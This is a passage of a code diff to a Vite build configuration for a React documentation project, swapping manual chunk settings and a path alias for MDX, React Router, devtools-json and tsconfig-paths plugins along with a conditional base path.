"fumadocs-mdx/vite"; import { defineConfig } from "vite"; +import devtoolsJson from "vite-plugin-devtools-json"; +import tsconfigPaths from "vite-tsconfig-paths"; +import * as MdxConfig from "./source.config"; -// https://vitejs.dev/config/ export default defineConfig({ - base: env.VITE_APP_BASE_PATH, - plugins: [react(), tailwindcss()], - resolve: { - alias: { - "@": path.resolve(__dirname, "./src"), - }, - }, - build: { - rollupOptions: { - output: { - manualChunks: { - highlight: ["react-syntax-highlighter"], - radixUi: ["radix-ui"], - motion: ["framer-motion", "motion"], - sonner: ["sonner"], - yup: ["yup"], - i18n: ["react-i18next", "i18next"], - reactRouter: ["react-router", "react-router-dom"], - }, - }, - }, - }, + base: env.NODE_ENV === "development" ? '' : `${env.VITE_APP_API_URL}/`, + plugins: [ + mdx(MdxConfig), + tailwindcss(), + reactRouter(), + devtoolsJson(), + tsconfigPaths({ + root: __dirname, + }), + ], });